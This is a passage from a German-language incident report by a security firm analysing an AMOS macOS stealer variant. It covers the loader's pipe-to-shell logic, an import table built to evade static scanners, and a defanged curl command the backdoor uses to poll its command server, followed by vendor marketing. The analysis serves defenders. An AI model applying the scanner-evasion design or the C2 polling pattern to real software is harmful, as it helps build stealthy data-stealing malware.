└─ PARENT: loop: _write(local_5c, payload, variable_chunk)
_usleep(1)
_close(local_5c) close write end → EOF to shell
_bzero(payload, len) ← WIPE IMMEDIATELY
_waitpid(child, ...)
Die Import-Tabelle als Waffe
Die vollständige Import-Tabelle dieser Binary:
// C runtime / memory
_memcpy _memmove _memset _bzero
// Process execution
_fork _execvp _execl __exit
// IPC / pipes
_pipe _dup2 _close _write
// Synchronisation
_waitpid _usleep
// Stack protection
___stack_chk_fail ___stack_chk_guard
// C++ runtime
operator.new operator.delete __Unwind_Resume
___cxa_allocate_exception ___cxa_throw ___cxa_begin_catch
___cxa_end_catch ___cxa_free_exception ___gxx_personality_v0
terminate logic_error bad_array_new_length __next_prime
// STL containers
append reserve push_back operator=
// Dynamic linking
dyld_stub_binder
Insgesamt 27 Symbole. Was fehlt, ist mindestens so aufschlussreich wie was vorhanden ist.
Abwesend: Netzwerk
socket connect bind listen
accept send recv sendto
recvfrom getaddrinfo gethostbyname
Abwesend: Dateisystem
open read fopen fread
fwrite fclose stat unlink
mkdir rename opendir readdir
Abwesend: Prozess-Introspektion
getpid getuid getenv sysctl
Abwesend: Kryptografie
CCCrypt SecItemAdd SecKeychainFind
Bei einem traditionellen Malware-Sample erwartet man Netzwerk-Imports (socket, connect) oder Datei-Imports (fopen, write). Diese Binary hat keinen einzigen. Für einen Standard-Scanner sieht sie aus wie ein harmloser Prozess-Launcher, und das ist so geplant: eine bewusste Architekturentscheidung, die statische Analysetools ins Leere laufen lässt.
Die helper-Binary führt den Diebstahl nicht selbst durch. Ihr einziger Zweck ist es, den eigentlichen bösartigen Payload, ein stark obfuskiertes AppleScript, abzusetzen und auszuführen. Ein EDR oder AV, das nach bösartigen Binaries sucht, sieht hier einen Loader ohne Netzwerk- oder Datei-I/O und stuft ihn möglicherweise als sauber ein, ohne zu erkennen, dass die Binary ein spezialisiertes Zustellsystem für einen High-Level-Skript-Payload ist.
Die Backdoor
Der Incident endete nicht nach der initialen Kompromittierung. Microsoft Defender-Telemetrie zeigte einen Prozess, der von /Users/<redacted>/.mainhelper aus lief und einen externen Server abfragte:
sh -c "curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'"
Der Base64-String dekodierte sich zu einer 16-Byte-Geräte-UUID, dem eindeutigen Identifier, den die C2-Infrastruktur des Angreifers diesem Gerät am Tag der Erstinfektion zugewiesen hatte.
Die .mainhelper-Binary (SHA-256: 7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063) war am Tag des Incidents durch den osascript-Dropper via ditto installiert worden.
Die Stärke des kollektiven Schilds: Unsere Shared-Threat-Intelligence-Plattform
Wenn in unserem SOC ein Alert ausgelöst wird, beginnt die Uhr nicht nur für den betroffenen Kunden zu laufen, sondern für jede Organisation unter dem glueckkanja-Schutzschild. Diese Untersuchung einer undokumentierten AMOS-Variante macht deutlich, was die Intelligence Gap in der Praxis bedeutet: ein gefährliches Zeitfenster, in dem klassische Anbieter blind sind, weil sie die Bedrohung noch nicht gesehen haben.
Hier zeigt unsere proprietäre Shared Threat Intelligence Platform ihren Wert, entwickelt exklusiv für glueckkanja-CSOC-Kunden. Wir warten nicht auf Branchen-Updates, wir erzeugen sie. Während unsere Analysten noch die letzten Schichten des ARM64-Assembly demontierten, verteilte unsere Automated Orchestration Engine bereits die extrahierten Indikatoren über unser gesamtes Ökosystem. Das erzeugt Herd-Immunität: Was an einem einzigen Endpoint entdeckt wird, ist innerhalb von Minuten eine blockierte Bedrohung für jede Organisation unter unserem Schutz.
Reaktive Sicherheit funktioniert nicht gegen Bedrohungen, die gezielt durch die Lücken konventioneller Abwehrmechanismen schlüpfen. Die Antwort liegt in der Verbindung menschlicher Expertise mit einer Architektur, die dieses Wissen sofort und skaliert einsetzt. Durch unser Shared-Intelligence-Modell kehrt sich der Zeitvorteil des Angreifers um: Unsere Kunden sind geschützt, bevor die Bedrohung von der Branche überhaupt erkannt wird.
Hinweis zum Datenschutz
Identifizierende Informationen wurden in dieser Veröffentlichung anonymisiert. Spezifische technische Details, Indikatoren und Zeitstempel können leicht verändert worden sein, um den laufenden Schutz der betroffenen Umgebung zu gewährleisten, ohne die technische Integrität der Analyse zu beeinträchtigen.
Die technischen Analysen und Indicators of Compromise (IOCs) in diesem Bericht dienen ausschließlich der Information und Weiterbildung. Sie werden nach bestem Wissen bereitgestellt. glueckkanja AG übernimmt keine ausdrücklichen oder impliziten Garantien hinsichtlich Vollständigkeit oder Genauigkeit und haftet nicht für Schäden, Verluste oder Sicherheitsvorfälle, die aus der Verwendung der hier geteilten Informationen, Regeln oder Signaturen entstehen. Wir empfehlen, alle Indikatoren und Regeln vor dem Einsatz in einer kontrollierten Umgebung zu validieren.
Beschriebene Indikatoren und Techniken können sich mit bekannten Malware-Familien überschneiden und sind nicht exklusiv einer einzelnen Kampagne zuzuordnen.
Kontakt aufnehmen
Wollt ihr wissen, wie unsere Shared Threat Intelligence Platform euch vor unbekannten Malware-Varianten schützt, noch bevor die Branche davon erfährt? Sprecht uns an.




















